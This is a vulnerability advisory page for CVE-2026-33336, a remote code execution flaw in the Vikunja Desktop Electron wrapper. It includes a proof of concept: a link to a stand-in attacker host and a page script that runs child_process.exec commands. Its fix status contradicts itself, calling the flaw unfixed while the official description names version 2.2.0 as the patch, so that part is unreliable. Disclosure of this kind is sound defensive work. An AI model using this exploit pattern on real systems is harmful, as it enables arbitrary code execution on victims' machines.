CVE-2026-33336 Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation

Medium 6.5 Published 24 Mar 2026 Updated 24 Mar 2026

Attacker can execute arbitrary code on victim's machine via malicious links in task descriptions due to enabled Node.js integration in Electron.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: A user has to click or open something
Fix: None listed

What is CVE-2026-33336?

CVE-2026-33336 is a medium-severity code injection vulnerability in go-vikunja vikunja, published on 24 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

## Root cause

Two misconfigurations combine to create this vulnerability:

1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).

2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags

## Attack scenario

1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process. 6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user.

## Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

## Proof of concept

1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine.

## Credits

This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).

Weakness: CWE-94

Which versions are affected by CVE-2026-33336?

It affects 1 product.

Products include Vikunja Vikunja.

How do I fix CVE-2026-33336?

No fix has been published for CVE-2026-33336 yet. Limit exposure of the affected software until one is available.

Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.

Is CVE-2026-33336 being exploited?

It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33336 exists.

Sources

Also known as GHSA-83w9-9jf6-88vf.